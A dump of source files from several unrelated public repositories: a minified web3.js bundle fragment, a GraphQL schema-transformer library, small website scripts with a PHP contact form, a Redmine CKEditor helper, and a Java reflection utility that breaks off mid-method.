e=null;i.isArray(n)?n.forEach(function(n){t.responseCallbacks[n.id]&&(e=n.id)}):e=n.id,t.responseCallbacks[e]&&(t.responseCallbacks[e](null,n),delete t.responseCallbacks[e])})})};o.prototype._parseResponse=function(n){var e=this,t=[];return n.replace(/\}[\n\r]?\{/g,"}|--|{").replace(/\}\][\n\r]?\[\{/g,"}]|--|[{").replace(/\}[\n\r]?\[\{/g,"}|--|[{").replace(/\}\][\n\r]?\{/g,"}]|--|{").split("|--|").forEach(function(n){e.lastChunk&&(n=e.lastChunk+n);var i=null;try{i=JSON.parse(n)}catch(t){return e.lastChunk=n,clearTimeout(e.lastChunkTimeout),void(e.lastChunkTimeout=setTimeout(function(){throw e._timeout(),r.InvalidResponse(n)},15e3))}clearTimeout(e.lastChunkTimeout),e.lastChunk=null,i&&t.push(i)}),t},o.prototype._addResponseCallback=function(n,e){var t=n.id||n[0].id,i=n.method||n[0].method;this.responseCallbacks[t]=e,this.responseCallbacks[t].method=i},o.prototype._timeout=function(){for(var n in this.responseCallbacks)this.responseCallbacks.hasOwnProperty(n)&&(this.responseCallbacks[n](r.InvalidConnection("on IPC")),delete this.responseCallbacks[n])},o.prototype.isConnected=function(){return this.connection.writable||this.connection.connect({path:this.path}),!!this.connection.writable},o.prototype.send=function(n){if(this.connection.writeSync){var e;this.connection.writable||this.connection.connect({path:this.path});var t=this.connection.writeSync(JSON.stringify(n));try{e=JSON.parse(t)}catch(n){throw r.InvalidResponse(t)}return e}throw new Error('You tried to send "'+n.method+'" synchronously. Synchronous requests are not supported by the IPC provider.')},o.prototype.sendAsync=function(n,e){this.connection.writable||this.connection.connect({path:this.path}),this.connection.write(JSON.stringify(n)),this._addResponseCallback(n,e)},n.exports=o},function(n,e,t){var i=t(6),r=function(){return[new i({name:"putString",call:"db_putString",params:3}),new i({name:"getString",call:"db_getString",params:2}),new i({name:"putHex",call:"db_putHex",params:3}),new i({name:"getHex",call:"db_getHex",params:2})]};n.exports=function(n){this._requestManager=n._requestManager;var e=this;r().forEach(function(t){t.attachToObject(e),t.setRequestManager(n._requestManager)})}},function(n,e,t){"use strict";var i=t(5),r=t(2),o=t(6),a=t(11),s=t(15),l=t(80),c=t(18),d=t(16),f=t(94),u=t(91),m=t(17),h=t(95),b=function(n){return r.isString(n[0])&&0===n[0].indexOf("0x")?"eth_getBlockByHash":"eth_getBlockByNumber"},p=function(n){return r.isString(n[0])&&0===n[0].indexOf("0x")?"eth_getTransactionByBlockHashAndIndex":"eth_getTransactionByBlockNumberAndIndex"},g=function(n){return r.isString(n[0])&&0===n[0].indexOf("0x")?"eth_getUncleByBlockHashAndIndex":"eth_getUncleByBlockNumberAndIndex"},v=function(n){return r.isString(n[0])&&0===n[0].indexOf("0x")?"eth_getBlockTransactionCountByHash":"eth_getBlockTransactionCountByNumber"},w=function(n){return r.isString(n[0])&&0===n[0].indexOf("0x")?"eth_getUncleCountByBlockHash":"eth_getUncleCountByBlockNumber"};function x(n){this._requestManager=n._requestManager;var e=this;k().forEach(function(n){n.attachToObject(e),n.setRequestManager(e._requestManager)}),y().forEach(function(n){n.attachToObject(e),n.setRequestManager(e._requestManager)}),this.iban=m,this.sendIBANTransaction=h.bind(null,this)}Object.defineProperty(x.prototype,"defaultBlock",{get:function(){return s.defaultBlock},set:function(n){return s.defaultBlock=n,n}}),Object.defineProperty(x.prototype,"defaultAccount",{get:function(){return s.defaultAccount},set:function(n){return s.defaultAccount=n,n}});var k=function(){var n=new o({name:"getBalance",call:"eth_getBalance",params:2,inputFormatter:[i.inputAddressFormatter,i.inputDefaultBlockNumberFormatter],outputFormatter:i.outputBigNumberFormatter}),e=new o({name:"getStorageAt",call:"eth_getStorageAt",params:3,inputFormatter:[null,r.toHex,i.inputDefaultBlockNumberFormatter]}),t=new o({name:"getCode",call:"eth_getCode",params:2,inputFormatter:[i.inputAddressFormatter,i.inputDefaultBlockNumberFormatter]}),a=new o({name:"getBlock",call:b,params:2,inputFormatter:[i.inputBlockNumberFormatter,function(n){return!!n}],outputFormatter:i.outputBlockFormatter}),s=new o({name:"getUncle",call:g,params:2,inputFormatter:[i.inputBlockNumberFormatter,r.toHex],outputFormatter:i.outputBlockFormatter}),l=new o({name:"getCompilers",call:"eth_getCompilers",params:0}),c=new o({name:"getBlockTransactionCount",call:v,params:1,inputFormatter:[i.inputBlockNumberFormatter],outputFormatter:r.toDecimal}),d=new o({name:"getBlockUncleCount",call:w,params:1,inputFormatter:[i.inputBlockNumberFormatter],outputFormatter:r.toDecimal}),f=new o({name:"getTransaction",call:"eth_getTransactionByHash",params:1,outputFormatter:i.outputTransactionFormatter}),u=new o({name:"getTransactionFromBlock",call:p,params:2,inputFormatter:[i.inputBlockNumberFormatter,r.toHex],outputFormatter:i.outputTransactionFormatter}),m=new o({name:"getTransactionReceipt",call:"eth_getTransactionReceipt",params:1,outputFormatter:i.outputTransactionReceiptFormatter}),h=new o({name:"getTransactionCount",call:"eth_getTransactionCount",params:2,inputFormatter:[null,i.inputDefaultBlockNumberFormatter],outputFormatter:r.toDecimal}),x=new o({name:"sendRawTransaction",call:"eth_sendRawTransaction",params:1,inputFormatter:[null]}),k=new o({name:"sendTransaction",call:"eth_sendTransaction",params:1,inputFormatter:[i.inputTransactionFormatter]}),y=new o({name:"signTransaction",call:"eth_signTransaction",params:1,inputFormatter:[i.inputTransactionFormatter]}),A=new o({name:"sign",call:"eth_sign",params:2,inputFormatter:[i.inputAddressFormatter,null]});return[n,e,t,a,s,l,c,d,f,u,m,h,new o({name:"call",call:"eth_call",params:2,inputFormatter:[i.inputCallFormatter,i.inputDefaultBlockNumberFormatter]}),new o({name:"estimateGas",call:"eth_estimateGas",params:1,inputFormatter:[i.inputCallFormatter],outputFormatter:r.toDecimal}),x,y,k,A,new o({name:"compile.solidity",call:"eth_compileSolidity",params:1}),new o({name:"compile.lll",call:"eth_compileLLL",params:1}),new o({name:"compile.serpent",call:"eth_compileSerpent",params:1}),new o({name:"submitWork",call:"eth_submitWork",params:3}),new o({name:"getWork",call:"eth_getWork",params:0})]},y=function(){return[new a({name:"coinbase",getter:"eth_coinbase"}),new a({name:"mining",getter:"eth_mining"}),new a({name:"hashrate",getter:"eth_hashrate",outputFormatter:r.toDecimal}),new a({name:"syncing",getter:"eth_syncing",outputFormatter:i.outputSyncingFormatter}),new a({name:"gasPrice",getter:"eth_gasPrice",outputFormatter:i.outputBigNumberFormatter}),new a({name:"accounts",getter:"eth_accounts"}),new a({name:"blockNumber",getter:"eth_blockNumber",outputFormatter:r.toDecimal}),new a({name:"protocolVersion",getter:"eth_protocolVersion"})]};x.prototype.contract=function(n){return new l(this,n)},x.prototype.filter=function(n,e,t){return new d(n,"eth",this._requestManager,c.eth(),i.outputLogFormatter,e,t)},x.prototype.namereg=function(){return this.contract(u.global.abi).at(u.global.address)},x.prototype.icapNamereg=function(){return this.contract(u.icap.abi).at(u.icap.address)},x.prototype.isSyncing=function(n){return new f(this._requestManager,n)},n.exports=x},function(n,e,t){var i=t(2),r=t(11),o=function(){return[new r({name:"listening",getter:"net_listening"}),new r({name:"peerCount",getter:"net_peerCount",outputFormatter:i.toDecimal})]};n.exports=function(n){this._requestManager=n._requestManager;var e=this;o().forEach(function(t){t.attachToObject(e),t.setRequestManager(n._requestManager)})}},function(n,e,t){"use strict";var i=t(6),r=t(11),o=t(5);var a=function(){var n=new i({name:"newAccount",call:"personal_newAccount",params:1,inputFormatter:[null]}),e=new i({name:"importRawKey",call:"personal_importRawKey",params:2}),t=new i({name:"sign",call:"personal_sign",params:3,inputFormatter:[null,o.inputAddressFormatter,null]}),r=new i({name:"ecRecover",call:"personal_ecRecover",params:2});return[n,e,new i({name:"unlockAccount",call:"personal_unlockAccount",params:3,inputFormatter:[o.inputAddressFormatter,null,null]}),r,t,new i({name:"sendTransaction",call:"personal_sendTransaction",params:2,inputFormatter:[o.inputTransactionFormatter,null]}),new i({name:"lockAccount",call:"personal_lockAccount",params:1,inputFormatter:[o.inputAddressFormatter]})]},s=function(){return[new r({name:"listAccounts",getter:"personal_listAccounts"})]};n.exports=function(n){this._requestManager=n._requestManager;var e=this;a().forEach(function(n){n.attachToObject(e),n.setRequestManager(e._requestManager)}),s().forEach(function(n){n.attachToObject(e),n.setRequestManager(e._requestManager)})}},function(n,e,t){var i=t(6),r=t(16),o=t(18),a=function(n){this._requestManager=n._requestManager;var e=this;s().forEach(function(n){n.attachToObject(e),n.setRequestManager(e._requestManager)})};a.prototype.newMessageFilter=function(n,e,t){return new r(n,"shh",this._requestManager,o.shh(),null,e,t)};var s=function(){return[new i({name:"version",call:"shh_version",params:0}),new i({name:"info",call:"shh_info",params:0}),new i({name:"setMaxMessageSize",call:"shh_setMaxMessageSize",params:1}),new i({name:"setMinPoW",call:"shh_setMinPoW",params:1}),new i({name:"markTrustedPeer",call:"shh_markTrustedPeer",params:1}),new i({name:"newKeyPair",call:"shh_newKeyPair",params:0}),new i({name:"addPrivateKey",call:"shh_addPrivateKey",params:1}),new i({name:"deleteKeyPair",call:"shh_deleteKeyPair",params:1}),new i({name:"hasKeyPair",call:"shh_hasKeyPair",params:1}),new i({name:"getPublicKey",call:"shh_getPublicKey",params:1}),new i({name:"getPrivateKey",call:"shh_getPrivateKey",params:1}),new i({name:"newSymKey",call:"shh_newSymKey",params:0}),new i({name:"addSymKey",call:"shh_addSymKey",params:1}),new i({name:"generateSymKeyFromPassword",call:"shh_generateSymKeyFromPassword",params:1}),new i({name:"hasSymKey",call:"shh_hasSymKey",params:1}),new i({name:"getSymKey",call:"shh_getSymKey",params:1}),new i({name:"deleteSymKey",call:"shh_deleteSymKey",params:1}),new i({name:"post",call:"shh_post",params:1,inputFormatter:[null]})]};n.exports=a},function(n,e,t){"use strict";var i=t(6),r=t(11);var o=function(){return[new i({name:"blockNetworkRead",call:"bzz_blockNetworkRead",params:1,inputFormatter:[null]}),new i({name:"syncEnabled",call:"bzz_syncEnabled",params:1,inputFormatter:[null]}),new i({name:"swapEnabled",call:"bzz_swapEnabled",params:1,inputFormatter:[null]}),new i({name:"download",call:"bzz_download",params:2,inputFormatter:[null,null]}),new i({name:"upload",call:"bzz_upload",params:2,inputFormatter:[null,null]}),new i({name:"retrieve",call:"bzz_retrieve",params:1,inputFormatter:[null]}),new i({name:"store",call:"bzz_store",params:2,inputFormatter:[null,null]}),new i({name:"get",call:"bzz_get",params:1,inputFormatter:[null]}),new i({name:"put",call:"bzz_put",params:2,inputFormatter:[null,null]}),new i({name:"modify",call:"bzz_modify",params:4,inputFormatter:[null,null,null,null]})]},a=function(){return[new r({name:"hive",getter:"bzz_hive"}),new r({name:"info",getter:"bzz_info"})]};n.exports=function(n){this._requestManager=n._requestManager;var e=this;o().forEach(function(n){n.attachToObject(e),n.setRequestManager(e._requestManager)}),a().forEach(function(n){n.attachToObject(e),n.setRequestManager(e._requestManager)})}},function(n,e,t){var i=t(61),r=t(62);n.exports={global:{abi:i,address:"0xc6d9d2cd449a754c494264e1809c50e34d64562b"},icap:{abi:r,address:"0xa1a111bc074c9cfa781f0c38e63bd51c91b8af00"}}},function(n,e,t){var i=t(27),r=t(2),o=t(15),a=t(10),s=function(n){this.provider=n,this.polls={},this.timeout=null};s.prototype.send=function(n){if(!this.provider)return console.error(a.InvalidProvider()),null;var e=i.toPayload(n.method,n.params),t=this.provider.send(e);if(!i.isValidResponse(t))throw a.InvalidResponse(t);return t.result},s.prototype.sendAsync=function(n,e){if(!this.provider)return e(a.InvalidProvider());var t=i.toPayload(n.method,n.params);this.provider.sendAsync(t,function(n,t){return n?e(n):i.isValidResponse(t)?void e(null,t.result):e(a.InvalidResponse(t))})},s.prototype.sendBatch=function(n,e){if(!this.provider)return e(a.InvalidProvider());var t=i.toBatchPayload(n);this.provider.sendAsync(t,function(n,t){return n?e(n):r.isArray(t)?void e(n,t):e(a.InvalidResponse(t))})},s.prototype.setProvider=function(n){this.provider=n},s.prototype.startPolling=function(n,e,t,i){this.polls[e]={data:n,id:e,callback:t,uninstall:i},this.timeout||this.poll()},s.prototype.stopPolling=function(n){delete this.polls[n],0===Object.keys(this.polls).length&&this.timeout&&(clearTimeout(this.timeout),this.timeout=null)},s.prototype.reset=function(n){for(var e in this.polls)n&&-1!==e.indexOf("syncPoll_")||(this.polls[e].uninstall(),delete this.polls[e]);0===Object.keys(this.polls).length&&this.timeout&&(clearTimeout(this.timeout),this.timeout=null)},s.prototype.poll=function(){if(this.timeout=setTimeout(this.poll.bind(this),o.ETH_POLLING_TIMEOUT),0!==Object.keys(this.polls).length)if(this.provider){var n=[],e=[];for(var t in this.polls)n.push(this.polls[t].data),e.push(t);if(0!==n.length){var s=i.toBatchPayload(n),l={};s.forEach(function(n,t){l[n.id]=e[t]});var c=this;this.provider.sendAsync(s,function(n,e){if(!n){if(!r.isArray(e))throw a.InvalidResponse(e);e.map(function(n){var e=l[n.id];return!!c.polls[e]&&(n.callback=c.polls[e].callback,n)}).filter(function(n){return!!n}).filter(function(n){var e=i.isValidResponse(n);return e||n.callback(a.InvalidResponse(n)),e}).forEach(function(n){n.callback(null,n.result)})}})}}else console.error(a.InvalidProvider())},n.exports=s},function(n,e){n.exports=function(){this.defaultBlock="latest",this.defaultAccount=void 0}},function(n,e,t){var i=t(5),r=t(2),o=1,a=function(n,e){var t;return this.requestManager=n,this.pollId="syncPoll_"+o++,this.callbacks=[],this.addCallback(e),this.lastSyncState=!1,(t=this).requestManager.startPolling({method:"eth_syncing",params:[]},t.pollId,function(n,e){if(n)return t.callbacks.forEach(function(e){e(n)});r.isObject(e)&&e.startingBlock&&(e=i.outputSyncingFormatter(e)),t.callbacks.forEach(function(n){t.lastSyncState!==e&&(!t.lastSyncState&&r.isObject(e)&&n(null,!0),setTimeout(function(){n(null,e)},0),t.lastSyncState=e)})},t.stopWatching.bind(t)),this};a.prototype.addCallback=function(n){return n&&this.callbacks.push(n),this},a.prototype.stopWatching=function(){this.requestManager.stopPolling(this.pollId),this.callbacks=[]},n.exports=a},function(n,e,t){var i=t(17),r=t(63),o=function(n,e,t,i,r){return n.sendTransaction({address:t,from:e,value:i},r)},a=function(n,e,t,i,o,a){var s=r;return n.contract(s).at(t).deposit(o,{from:e,value:i},a)};n.exports=function(n,e,t,r,s){var l=new i(t);if(!l.isValid())throw new Error("invalid iban address");if(l.isDirect())return o(n,e,l.address(),r,s);if(!s){var c=n.icapNamereg().addr(l.institution());return a(n,e,c,r,l.client())}n.icapNamereg().addr(l.institution(),function(t,i){return a(n,e,i,r,l.client(),s)})}},function(n,e){n.exports=function(n){return n.webpackPolyfill||(n.deprecate=function(){},n.paths=[],n.children||(n.children=[]),Object.defineProperty(n,"loaded",{enumerable:!0,get:function(){return n.l}}),Object.defineProperty(n,"id",{enumerable:!0,get:function(){return n.i}}),n.webpackPolyfill=1),n}},function(n,e){n.exports=XMLHttpRequest}]);```
|
0xbharath/GoI-subdomains-directory
|
0xbharath/GoI-subdomains-directory
README.md
```# List of subdomains/web applications by Indian government
The repository contains list of subdomains/web applications maintained by government of India.
1. `nic.in-subdomains.txt` contains list of subdomains under `nic.in` domain
## Frequently Asked Questions (FAQs)
### Why aggregate subdomains/web applications by GoI?
> National Informatics Centre (NIC) provides infrastructure to help support the delivery of Indian government IT services and the delivery of some of the initiatives of Digital India.
As per my knowledge, unlike [other](https://github.com/GSA/govt-urls) [government agencies](https://www.gov.uk/government/publications/list-of-gov-uk-domain-names) NIC doesn't maintain a directory of all the subdomains/web applications.
Having a list of subdomains/web applications maintained by government will help organisations that perform studies on those websites or verify their privacy protection using scoring tools like [Webbkoll](https://webbkoll.dataskydd.net).
```
|
0xboz/webautoapp
|
0xboz/webautoapp
README.md
```# webautoapp
webautoapp
```
|
0xflotus/transform-graphql
|
0xflotus/transform-graphql
index.spec.ts
```import { TransformerDef, TransformGraphQLSchema } from '../';
import { TreeToGraphQL } from 'graphql-zeus';
const GraphQLTransform = `
type Post implements Nameable @model{
name: String!
content: String!
createdAt: String!
}
type Query{
version: String
}
type Mutation{
version: String @other
}
interface Nameable {
name: String
}
directive @model on OBJECT
directive @other on FIELD_DEFINITION
`;
export const transformerCRUD: TransformerDef = {
transformer: ({ field, operations }) => {
if (!field.args) {
throw new Error('Model can be used only for types');
}
if (!operations.query) {
throw new Error('Query type required');
}
if (!operations.mutation) {
throw new Error('Query type required');
}
return `
input Create${field.name}{
${TreeToGraphQL.parse({ nodes: field.args })}
}
input Update${field.name}{
${TreeToGraphQL.parse({ nodes: field.args })}
}
input Details${field.name}{
id: String!
}
type ${field.name}Query{
list: [${field.name}!]!
getByDetails(details: Details${field.name}): ${field.name}
}
type ${field.name}Mutation{
create( ${field.name[0].toLowerCase() + field.name.slice(1)}: Create${field.name} ): String!
update( ${field.name[0].toLowerCase() + field.name.slice(1)}: Update${field.name}, details: Details${
field.name
} ): String!
remove( details: Details${field.name} ): String!
}
extend type ${operations.query.name}{
${field.name[0].toLowerCase() + field.name.slice(1)}: ${field.name}Query
}
extend type ${operations.mutation.name}{
${field.name[0].toLowerCase() + field.name.slice(1)}: ${field.name}Mutation
}
`;
},
directiveName: 'model',
};
describe('Test GraphQL Transformer', () => {
it('Should create CRUD inputs and produce resolvers on query and mutation without losing anything from input schema', () => {
const schema = TransformGraphQLSchema({ schema: GraphQLTransform, transformers: [transformerCRUD] });
expect(schema).toContain('input CreatePost');
expect(schema).toContain('input UpdatePost');
expect(schema).toContain('input DetailsPost');
expect(schema).toContain('post: PostQuery');
expect(schema).toContain('post: PostMutation');
expect(schema).toContain('type Post implements Nameable @model');
expect(schema).toContain('version: String @other');
});
});
```
README.md
```# Transform GraphQL
[](https://www.npmjs.com/package/transform-graphql) [](https://www.npmjs.com/package/transform-graphql)
[](https://www.npmjs.com/package/transform-graphql)
We use GraphQL transformers. Examples are Graphback, Dgraph, AWS Amplify. This library provides function that given any GraphQL schema creates new GraphQL schemas basing on transformer functions.
## Installation
```sh
npm i transform-graphql
```
## How it works
Provide original schema with your transformer directives and an array of transformer functions defined by `TransformerDef` type
```ts
import { TransformGraphQLSchema } from 'transform-graphql';
const transformedSchema = TransformGraphQLSchema({
schema: inputSchema,
transformers: [transformerCRUD]
});
```
This short example simply shows what transform GraphQL is about:
Given the schema:
```graphql
type Post @model{
name: String!
content: String!
createdAt: String!
}
type Query{
version:String
}
type Mutation{
version:String
}
directive @model on OBJECT
```
where model is our actual transformer
We expect schema to be transformed into
```graphql
directive @model on OBJECT
input CreatePost{
name: String!
content: String!
createdAt: String!
}
input DetailsPost{
id: String!
}
type Mutation{
version: String
post: PostMutation
}
type Post @model{
name: String!
content: String!
createdAt: String!
}
type PostMutation{
create(
post: CreatePost
): String!
update(
post: UpdatePost
details: DetailsPost
): String!
remove(
details: DetailsPost
): String!
}
type PostQuery{
list: [Post!]!
getByDetails(
details: DetailsPost
): Post
}
type Query{
version: String
post: PostQuery
}
input UpdatePost{
name: String!
content: String!
createdAt: String!
}
schema{
query: Query,
mutation: Mutation
}
```
And the transformer code should look like this
```ts
const inputSchema = `
type Post @model{
name: String!
content: String!
createdAt: String!
}
type Query{
version:String
}
type Mutation{
version:String
}`
const transformerCRUD: TransformerDef = {
transformer: ({ field, operations }) => {
if (!field.args) {
throw new Error('Model can be used only for types');
}
if (!operations.query) {
throw new Error('Query type required');
}
if (!operations.mutation) {
throw new Error('Query type required');
}
return `
input Create${field.name}{
${TreeToGraphQL.parse({ nodes: field.args })}
}
input Update${field.name}{
${TreeToGraphQL.parse({ nodes: field.args })}
}
input Details${field.name}{
id: String!
}
type ${field.name}Query{
list: [${field.name}!]!
getByDetails(details: Details${field.name}): ${field.name}
}
type ${field.name}Mutation{
create( ${field.name[0].toLowerCase() + field.name.slice(1)}: Create${field.name} ): String!
update( ${field.name[0].toLowerCase() + field.name.slice(1)}: Update${field.name}, details: Details${
field.name
} ): String!
remove( details: Details${field.name} ): String!
}
extend type ${operations.query.name}{
${field.name[0].toLowerCase() + field.name.slice(1)}: ${field.name}Query
}
extend type ${operations.mutation.name}{
${field.name[0].toLowerCase() + field.name.slice(1)}: ${field.name}Mutation
}
`;
},
directiveName: 'model',
};
const transformedSchema = TransformGraphQLSchema({ schema: GraphQLTransform, transformers: [transformerCRUD] });
//transfomed schema should look like in the example
```
## Roadmap
- provide CLI
- provide examples
```
index.ts
```import { OperationType, Parser, ParserField, ParserTree, TreeToGraphQL } from 'graphql-zeus';
export interface TransformerFunction {
(props: {
directiveName: string;
tree: ParserTree;
operations: Record<OperationType, ParserField | undefined>;
schema: string;
field: ParserField;
}): string;
}
export interface TransformerDef {
transformer: TransformerFunction;
directiveName: string;
}
interface TransformSchemaProps {
schema: string;
transformers: Array<TransformerDef>;
}
const getOperations = (tree: ParserTree) => {
const query = tree.nodes.find((n) => n.type.operations?.includes(OperationType.query));
const mutation = tree.nodes.find((n) => n.type.operations?.includes(OperationType.mutation));
const subscription = tree.nodes.find((n) => n.type.operations?.includes(OperationType.subscription));
return {
[OperationType.query]: query,
[OperationType.mutation]: mutation,
[OperationType.subscription]: subscription,
};
};
export const TransformGraphQLSchema = ({ schema, transformers }: TransformSchemaProps) => {
const initialTree = Parser.parse(schema);
const addSchema: string[] = [];
transformers.forEach((transformer) => {
const { nodes } = initialTree;
const checkNode = (n: ParserField) => {
if (n.directives?.find((d) => d.name === transformer.directiveName)) {
addSchema.push(
transformer.transformer({
tree: initialTree,
operations: getOperations(initialTree),
directiveName: transformer.directiveName,
field: n,
schema,
}),
);
}
if (n.args) {
n.args.forEach((a) => checkNode(a));
}
};
nodes.forEach(checkNode);
});
const joinedSchemas = addSchema.join('\n').concat(schema);
return TreeToGraphQL.parse(Parser.parseAddExtensions(joinedSchemas));
};
```
|
0xh3x0r/SimpleWebConcepts
|
0xh3x0r/SimpleWebConcepts
AccessCodeBehindFromJS.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace WebApplication1
{
public partial class WebForm1 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
Random rnd = new Random();
for (int i = 0; i < 100; i++)
{
Button btn = new Button();
btn.Text = rnd.Next(1, 999).ToString();
btn.Attributes.Add("onclick", "cside('" + btn.Text +"')");
div2.Controls.Add(btn);
}
}
[System.Web.Services.WebMethod]
public static void yazdir(string ID)
{
Button lbl = new Button();
lbl.Text = "FROM ME : " + ID;
Page frm = HttpContext.Current.Handler as Page;
frm.FindControl("div2").Controls.Add(lbl);
}
}
}```
|
0yedediqizhang0/CWS
|
0yedediqizhang0/CWS
1.py
```# -*- coding: utf-8 -*-
"""
Created on Thu Jul 12 15:58:16 2018
@author: JQ
"""
from data import data
from lexicon import Lexicon
from embedding_weights import Embedding_weights
lexicon,lexicon_reverse,lexicon_len=Lexicon(corpus_path)
train_data,val_data,train_label,val_label=data('corpus')
print(val_label.shape)
embedding_weights=Embedding_weights('corpus')
print(embedding_weights.shape)
from lexicon import Lexicon
lexicon,lexicon_reverse,lexicon_len=Lexicon('corpus')
print(lexicon_len)
import numpy as np
a=np.random.randint(1,2,size=(3,4))
b=a.shape
print('xingzhuang:',a)
a='jsjhhjdsj , .'
print(a.split())```
|
0zonet/bacsgroupweb_v1
|
0zonet/bacsgroupweb_v1
team.js
``` $(document).ready(function(){
$(".galery-item").click(function(){
var item, i;
item = $(this);
i = item.attr('id');
if(i == 'team1'){
//Añadir clases active
$('#team1').addClass('galery-item-active');
$('#card-one').addClass('my-card-left-active');
//Quitar clases active
$('#team2').removeClass('galery-item-active');
$('#card-two').removeClass('my-card-right-active');
}else{
$('#team2').addClass('galery-item-active');
$('#card-two').addClass('my-card-right-active');
$('#team1').removeClass('galery-item-active');
$('#card-one').removeClass('my-card-left-active');
}
});
});```
contact.php
```<?php
$cabeceras = 'MIME-Version: 1.0' . "\r\n";
$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$nombre = $POST['nombre'];
$mail = $_POST['mail'];
$tel = $_POST['telefono'];
$texto = $_POST['texto'];
$fecha = date('dd/mm/yyyy h:m:s');
$mensaje = $nombre . "\r\n" . $mail . "\r\n" . $tel . "\r\n" . $texo;
if(mail('contacto@bacs.cl' , 'Form contacto' . $fecha. $mensaje,$mensaje, $cabeceras))
echo '1';
else
echo '0';
?>```
nav.js
```$(document).ready(function(){
var al = $("#home").offset().top;
$(window).scroll(function(){
var barra = $(window).scrollTop();
var position = barra * 0.05;
if(barra > (al/2)){
$("#nav").addClass("navColor");
}else{
$("#nav").removeClass("navColor");
}
$("#home").css({'background-position' : '0 -' + position + "px"});
});
});
```
contact.js
```$(document).ready( function() {
$("#btn-form").click(function(e){
e.preventDefault();
$.post('contact.php',{
nombre : $("#nombre").val(),
telefono : $("#telefono").val(),
mail : $("#mail").val(),
texto : $("#texto").val()
}).done(function(data){
if(data == '1'){
$("#resp").html('Tu mensaje a sido enviado :)').addClass('resp-active');
}else{
$("#resp").html('Ocurrio un error al enviar tu mensaje :(').addClass('resp-active');
}
});
});
});```
animaciones.js
``` var webs = function(){
$('#webs .row .my-card').addClass('animated');
$('#webs .row:first-child .my-card').addClass('flipInY');
$('#webs .row:last-child .my-card').addClass('flipInX');
$('#webs .row .my-card').show();
}
var services = function(){
$('#services-list .my-card').addClass('animated');
$('#services-list .my-card').addClass('flipInX');
$('#mas').addClass('animated');
$('#mas').addClass('flipInX');
$('#services-list .my-card').show();
$('#mas').show();
}
var us = function(){
$('#us .my-card').addClass('animated');
$('#us .my-card').addClass('fadeInLeft');
$('#us .my-card').show();
}
$(document).ready(function(){
$('#webs .row .my-card').hide();
$('#services-list .my-card').hide();
$('#mas').hide();
$('#us .my-card').hide();
var options = [
{selector: '#webs', offset: 200, callback: 'webs()' },
{selector: '#services-list', offset: 200, callback: 'services()' },
{selector: '#us', offset: 200, callback: 'us()' }
];
Materialize.scrollFire(options);
});```
|
1-3calculator/1-3calculator.github.io
|
1-3calculator/1-3calculator.github.io
script.js
```function start() {
document.getElementById("submitBtn").addEventListener("click", function () {
formula();
});
}
function formula() {
var userIn = document.getElementById("numberIn").value;
var results = document.getElementById("results");
results.innerHTML = userIn / 3;
results.style.display = "block";
}
start();```
|
10-kp/Horiseon_site_accessibility
|
10-kp/Horiseon_site_accessibility
README.md
```# Horiseon_site_accessibility
Undertaking of refactoring of the site to meet accessibility standards
Link to the page: https://10-kp.github.io/Horiseon_site_accessibility/
Installation
- Created a new repository in GitHib called Horiseon_site_accessibility
- Copied the SSH Key in "Code"
- [For MAC] In terminal, go to Desktop (cd Desktop/)
- Create a clone -> git clone + paste the SSH key
[After updating the webpage]
- In terminal -> git add. -> git commit -m "(update with commets)" -> git push
- Publishing the site online via GitHub -> Settings -> GitHub Pages -> Source -> Main.
Accessibility changes
HTML
- Segregated header and class
- Renamed the <div> with semantics such as header, section, aside.
CSS
- Created a text align for center.
- Made fewer lines of code in the css by combining all the classes in one row.
```
|
1000ideas/redmine_ckeditor
|
1000ideas/redmine_ckeditor
application_helper_patch.rb
```require_dependency 'application_helper'
module ApplicationHelper
def ckeditor_javascripts
root = RedmineCkeditor.assets_root
javascript_tag("CKEDITOR_BASEPATH = '#{root}/ckeditor/';") +
javascript_include_tag("application", :plugin => "redmine_ckeditor") +
javascript_tag(RedmineCkeditor.plugins.map {|name|
path = "#{root}/ckeditor-contrib/plugins/#{name}/"
"CKEDITOR.plugins.addExternal('#{name}', '#{path}/');"
}.join("\n"))
end
def format_activity_description_with_ckeditor(text)
if RedmineCkeditor.enabled?
simple_format(truncate(strip_tags(text.to_s), :length => 120))
else
format_activity_description_without_ckeditor(text)
end
end
alias_method_chain :format_activity_description, :ckeditor
def simple_format_without_paragraph(text)
text.to_s.
gsub(/\r\n?/, "\n"). # \r\n and \r -> \n
gsub(/\n\n+/, "<br /><br />"). # 2+ newline -> 2 br
gsub(/([^\n]\n)(?=[^\n])/, '\1<br />'). # 1 newline -> br
gsub('&', '&').
html_safe
end
end
```
|
100101Ed/shopping
|
100101Ed/shopping
IdentifyObject.java
```/**
* File Name: IdentifyObject.java<br>
* Mora, Eduardo<br>
* Java Boot Camp Exercise<br>
* Instructor: Jean-francois Nepton<br>
* Created: Feb 10, 2016 Create a helper class to add to your framework which
* gives information on any class you create. The method signatures are below.
* Try to implement one at a time. Create a test case for each method.
*/
package com.sqa.em.util.helper;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
/**
* IdentifyObject //ADDD (description of class)
* <p>
* //ADDD (description of core fields)
* <p>
* //ADDD (description of core methods)
*
* @author Mora, Eduardo
* @version 1.0.0
* @since 1.0
*/
public class IdentifyObject {
// Uses Reflection API
public static void display2DInfo(Object[][] objects) {
System.out.println(get2DInfo(objects));
}
// Use this method to get info about the class being passed
// Uses Reflection API
public static void displayInfo(Object obj) {
System.out.println(getInfo(obj));
}
// // Uses Reflection API
// public static void displayInfo(Object obj1, Object obj2, Object... objN)
// {
// }
//////// 2DMatrix
public static void displayInfo(Object[] obj) {
for (Object object : obj) {
displayInfo(object);
}
}
//////// 2DMatrix
public static String get2DInfo(Object[][] objects) {
StringBuilder sBuilder = new StringBuilder();
sBuilder.append("Display 2D Matrix\n\n");
for (int row = 0; row < objects.length; row++) {
for (int colum = 0; colum < objects.length; colum++) {
sBuilder.append("\t" + objects[row][colum]);
}
sBuilder.append("\n");
}
return sBuilder.toString();
}
// Uses Reflection API
public static String[] getFieldNames(Object obj) {
String[] names;
ArrayList<String> fieldNames = new ArrayList<String>();
Field[] fields = obj.getClass().getFields();
for (Field field : fields) {
fieldNames.add(field.getName());
}
names = new String[fieldNames.size()];
fieldNames.toArray(names);
return names;
}
// Uses Reflection API
public static String getInfo(Object obj) {
StringBuilder sb = new StringBuilder();
